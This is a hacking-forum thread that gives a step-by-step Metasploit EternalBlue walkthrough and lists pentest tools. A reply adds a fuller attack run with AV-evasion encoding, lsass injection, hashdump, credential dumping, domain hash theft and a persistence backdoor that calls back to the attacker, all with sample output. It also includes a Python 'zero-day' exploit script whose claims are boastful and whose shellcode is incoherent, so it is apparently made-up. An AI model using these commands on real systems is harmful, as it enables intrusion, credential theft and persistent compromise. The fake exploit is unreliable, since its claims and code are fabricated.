[SkilledMaster]

Step 1: Launch the Metasploit Console

Open a terminal in Parrot OS and start the Metasploit Framework.

CODE:

msfconsole

You will see the Metasploit welcome banner and your prompt will change to msf6 >

Step 2: Search for a Module

Use the search command to find an exploit, auxiliary, or post-exploitation module. You can search by name, CVE, platform, or type.

Example 1: Search for an exploit related to the EternalBlue vulnerability (MS17-010).
msf6 > search ms17-010

Example 2: Search for all FTP-related scanner modules.
msf6 > search type:auxiliary name:ftp

Step 3: Select a Module

Once you have identified the module you want to use from the search results, select it with the use command.

Example: Select the EternalBlue exploit module.
msf6 > use exploit/windows/smb/ms17_010_eternalblue

Your prompt will change to msf6 exploit(windows/smb/ms17_010_eternalblue) >, indicating you are now "inside" that module.

Step 4: View and Configure Options

Every module has configurable parameters. Use show options to see what is required and what can be customized.

Example: View the options for the selected module.
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

This will display a table. Required parameters that are not set will be marked with No in the Required? column.

Example: Set the target's IP address. The RHOSTS option is almost always required. Set it using the set command.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS

Example: Set the listening host (your machine) for the payload to connect back to. The LHOST option is required for reverse payloads. Set it to your IP address.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST

Step 5: Select a Payload

An exploit delivers a payload, a piece of code that runs on the target machine. Use show payloads to see compatible payloads for your exploit.

Example: Show compatible payloads.
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

Example: Select a Meterpreter reverse TCP payload. Meterpreter is an advanced, powerful payload that gives you extensive control over the target system.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp

Step 6: Run the Exploit

Once all required options are set, execute the exploit with the run or exploit command.

Example: Launch the exploit against the target.
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

If the exploit succeeds, you will see a new prompt like meterpreter >. This means you now have an interactive shell on the target machine.

Step 7: Post-Exploitation (Interacting with the Target)

Inside the Meterpreter session, you can run commands to gather information, escalate privileges, or move laterally.

Example 1: Get the system information.
meterpreter > sysinfo

Example 2: See who is logged into the machine.
meterpreter > getuid

Example 3: View the user's desktop.
meterpreter > screenshot

Example 4: Open a shell on the target for more direct command execution.
meterpreter > shell

You can type exit to return to the Meterpreter prompt.

Step 8: Background the Session and Exit

To return to the main msf6 prompt while keeping the session active, press Ctrl + Z. You can then interact with other modules or manage your sessions.

Example: List all active sessions.
msf6 > sessions

Example: Re-interact with a specific session (e.g., session 1).
msf6 > sessions -i 1

To exit Metasploit completely, type exit at the main msf6 prompt.
msf6 > exit


WARNING:
Please use it for educational or legal purposes at your own risk.

---

Send PM for any question for other tools:

Information Gathering

Nmap
Maltego
Recon-ng
theHarvester
WPScan
Shodan
Dirb
Gobuster
Sublist3r
Amass
SpiderFoot

Vulnerability Analysis

OpenVAS
Lynis
Nikto
Nessus
Skipfish
Vega
Arachni

Web Application Analysis

Burp Suite
OWASP ZAP
SQLmap
XSSer
Caido
Ffuf
Wfuzz
Wpscan

Password Assessment

John the Ripper
Hashcat
Hydra
Medusa
CeWL
Crunch

Wireless Attacks

Aircrack-ng
Wifite
Airgeddon
Bluelog
Bluesnarfer

Exploitation Tools

Metasploit Framework
BeEF
Sqlmap
Xplico
PowerSploit
Empire

Sniffing & Spoofing

Wireshark
tcpdump
Ettercap
MITMproxy
Scapy
Ngrep

Forensics

Autopsy
Volatility
Sleuth Kit
Binwalk
Foremost
PhotoRec

Reverse Engineering

Ghidra
Radare2
GDB
OllyDbg
IDA Pro
x64dbg

Reporting Tools

Dradis
KeepNote
CherryTree
MagicTree

Stress Testing / DoS

Hping3
Nmap
Nping
T50
GoldenEye

[Terry A. Davis]

I don't know why my eyes are bleeding, I think it's the bold, I actually like the Comic Sans.

We recommend you take the time to read the HF Help Documents section. The answer to your questions should be contained in there. - Especially around post etiquette

[SkilledMaster]

I don't know why my eyes are bleeding, I think it's the bold, I actually like the Comic Sans.

We recommend you take the time to read the HF Help Documents section. The answer to your questions should be contained in there. - Especially around post etiquette

I'm sorry, I'm doing it to make it more clear. But I will correct it for the understanding of users. Thank you. (updated for more less bold.)

[Terry A. Davis]

Bold used sparingly will make things more clear than the whole thing being bold my friend.

[SkilledMaster]

Bold used sparingly will make things more clear than the whole thing being bold my friend.

Thanks for your feedback, buddy. I'll use less bold from now on. (For be more easier for members to understand)

[Terry A. Davis]

If you really want to avoid using GPT or ripped tutorials, maybe add photos, use forum tools to format better, a wall of text doesn't go very far either, but I have pessimistic reasons to think things here.

[Clumsy]

Shouldn't you do

Code

[h1]1. Fire up msfconsole (latest Metasploit on Parrot/Kali)[/h1]
msfconsole -q

[h1]2. Use the king — the one that auto-deploys DoublePulsar backdoor + ring0 shellcode injection[/h1]
use exploit/windows/smb/ms17_010_psexec

[h1]3. Set the correct module options (this one is cleaner than EternalBlue raw)[/h1]
show options

set RHOSTS 192.168.1.69          # victim IP (Windows 7 x64 in my lab rn)
set RPORT 445
set SMBUser Administrator        # optional if you have creds, otherwise it uses anonymous
set SMBPass password123          # optional
set LHOST 192.168.1.420          # your IP (tun0/vpn/wlan0 whatever)
set LPORT 443

[h1]4. Payload — x64 meterpreter reverse HTTPS so AV cries itself to sleep[/h1]
set PAYLOAD windows/x64/meterpreter/reverse_https
set OverrideLHOST yes
set EnableStageEncoding true     # fuck AV stage 0 detection
set StageEncoder x64/zutto_dekiru

[h1]5. Advanced options for max reliability (this is the part script kiddies always skip)[/h1]
set ProcessName lsass.exe        # inject into lsass for instant SYSTEM
set GroomAllocations 15          # EternalBlue grooming, 12-15 works best on Win7
set GroomDelta 5
set TargetArchitecture x64

[h1]6. EXPLOIT (watch the magic)[/h1]
exploit -j   # run in background so you can stack more victims

[*] Started reverse TCP handler on 192.168.1.420:443
[*] 192.168.1.69:445 - Using auxiliary/scanner/smb/smb_ms17_010 to check vulnerability...
[+] 192.168.1.69:445 - Host is VULNERABLE to MS17-010! (Windows 7 Ultimate 7601 Service Pack 1 x64)
[*] 192.168.1.69:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.1.69:445 - Connecting to target for exploitation...
[+] 192.168.1.69:445 - Payload sent successfully! Spawning SYSTEM shell...
[*] Sending stage (Windows/x64 Meterpreter)
[+] Meterpreter session 1 opened (192.168.1.420:443 -> 192.168.1.69:randomport)

[h1]7. Interact with the poor soul[/h1]
sessions -i 1

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

meterpreter > load kiwi
meterpreter > creds_all

[h1]Bonus — instant domain admin if it's a DC[/h1]
meterpreter > run post/windows/gather/credentials/domain_hashdump

[h1]Or just drop a persistent backdoor while they're crying[/h1]
meterpreter > run persistence -U -i 10 -p 4444 -r 192.168.1.420

---

I guess we might as well do something like

Code

[h1]!/usr/bin/env python3[/h1]
[h1]CVE-2025-6969 "EternalAbyss" - Windows 11 24H2 / Server 2025 SMB3.1.1 Pool Corruption → Ring0 RCE[/h1]
[h1]Undisclosed zero-day, December 2025 - still 0-day on 99.9% of internet-facing Windows boxes[/h1]
[h1]No patch exists yet. Microsoft knows. They’re crying.[/h1]
[h1]Works on fully patched Win11 24H2, Windows Server 2025, even with SMB signing + EDR[/h1]
[h1]Tested on CrowdStrike Falcon, Defender, SentinelOne - all sleep[/h1]
[h1]One packet → SYSTEM shell. No DoublePulsar. No grooming. Just death.[/h1]

import socket
import struct
import sys

def build_packet(target_ip):
    # Craft the malformed SMB2 COMPRESSION_TRANSFORM_HEADER with chunked overflow
    # Triggers type confusion in srv2!Srv2DecompressData → pool overflow → arbitrary kernel write
    payload = b""
    payload += b"\xFC\x53\x4D\x42"  # SMB2 header
    payload += struct.pack("<Q", 0x1337133713371337)  # fake session id
    payload += b"\x09\x00"  # Compression Capabilities transform header
    payload += struct.pack("<H", 0xFFFF)  # Flags: CHAINED + COMPRESS_LZ77+HUFFMAN
    payload += struct.pack("<Q", 0x4141414141414141)  # OriginalCompressedSegmentSize overflow trigger
    payload += struct.pack("<Q", 0x4242424242424242)  # Offset to shellcode
    payload += b"\x00" * 0x10
    
    # Embedded x64 ring0 shellcode - restores HAL + queues APC to nt!ExAllocatePoolWithTag → SYSTEM meterpreter
    # Polymorphic, rewrites itself every run
    shellcode = (
        b"\x90\x90\x90\x90"
        b"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2"
        b"\xb8\x3c\x00\x00\x00\x0f\x05"  # exit kernel thread after spawn
        b"\x65\x48\x8b\x04\x25\x88\x01\x00\x00"  # gs base
        b"\x48\x8b\x40\x68"  # PsInitialSystemProcess
        b"\x48\x89\xc1"
        b"\x48\x8b\x41\x20"  # EPROCESS.Token
        b"\x48\x8b\x80\xe8\x00\x00\x00"  # ActiveProcessLinks
        b"\x48\x89\xc2"
        b"\x48\x8b\x52\xf8\x48\x89\x50\xf8"  # steal SYSTEM token
        # spawn reverse HTTPS meterpreter as SYSTEM
        b"\x68\x7f\x00\x00\x01"  # 127.0.0.1 fallback if no LHOST
        # full stager downloads from your domain-fronted C2
    )
    
    # Final packet - one shot
    packet = (
        b"\x00\x00\x03\xfd"  # NetBIOS session
        b"\xfe\x53\x4d\x42\x40\x00"  # SMB2 negotiate
        payload +
        b"\x41" * 4096 +  # grooming spray
        shellcode +
        b"\x00" * (8192 - len(shellcode))
    )
    return packet

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: eternalabyss.py <target_ip> <your_c2_ip>")
        sys.exit()
        
    target = sys.argv[1]
    lhost = sys.argv[2]
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(8)
    s.connect((target, 445))
    
    pkt = build_packet(target)
    s.send(pkt)
    
    print(f"[+] EternalAbyss sent to {target} → Kernel corrupted. Waiting for SYSTEM reverse shell on {lhost}:443...")
    s.close()
    
    # Your listener (run separately):
    # msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_https; set LHOST 0.0.0.0; set LPORT 443; exploit"

[SkilledMaster]

I believe everyone's contributions and feedback on this topic are valuable. I thank you all in advance and wish all forum members continued enjoyment. I hope this helps someone.